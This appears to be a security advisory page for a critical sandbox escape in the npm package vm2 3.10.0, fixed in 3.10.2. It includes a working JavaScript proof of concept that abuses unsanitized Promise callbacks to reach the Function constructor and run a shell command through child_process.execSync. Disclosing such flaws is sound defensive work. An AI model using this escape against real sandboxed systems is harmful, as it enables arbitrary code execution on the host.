VDB
KO
CRITICAL 9.8

GHSA-99p7-6v5w-7xg8

vm2 has a Sandbox Escape

Details

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

```js const { VM } = require("vm2");

const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `;

new VM().run(code); ```

In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / vm2
Introduced in: 0 Fixed in: 3.10.2
Fix npm install vm2@3.10.2

References